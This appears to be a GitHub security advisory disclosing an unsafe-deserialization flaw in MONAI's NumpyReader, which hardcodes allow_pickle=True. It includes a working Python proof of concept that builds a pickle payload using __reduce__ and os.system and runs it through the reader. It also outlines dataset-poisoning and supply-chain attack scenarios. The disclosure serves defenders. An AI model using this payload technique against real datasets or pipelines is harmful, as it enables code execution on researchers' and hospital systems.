Skip to content

Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

High
ericspod published GHSA-wg9g-w2j2-8pgr Jun 11, 2026

Package

pip monai (pip)

Affected versions

<= 1.5.2

Patched versions

1.6.0

Description

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

  • torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
  • PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

  1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
  2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
  3. LoadImage selects NumpyReader based on file extension
  4. NumpyReader.read() calls np.load(name, allow_pickle=True)
  5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

  1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

  2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

  3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

Credits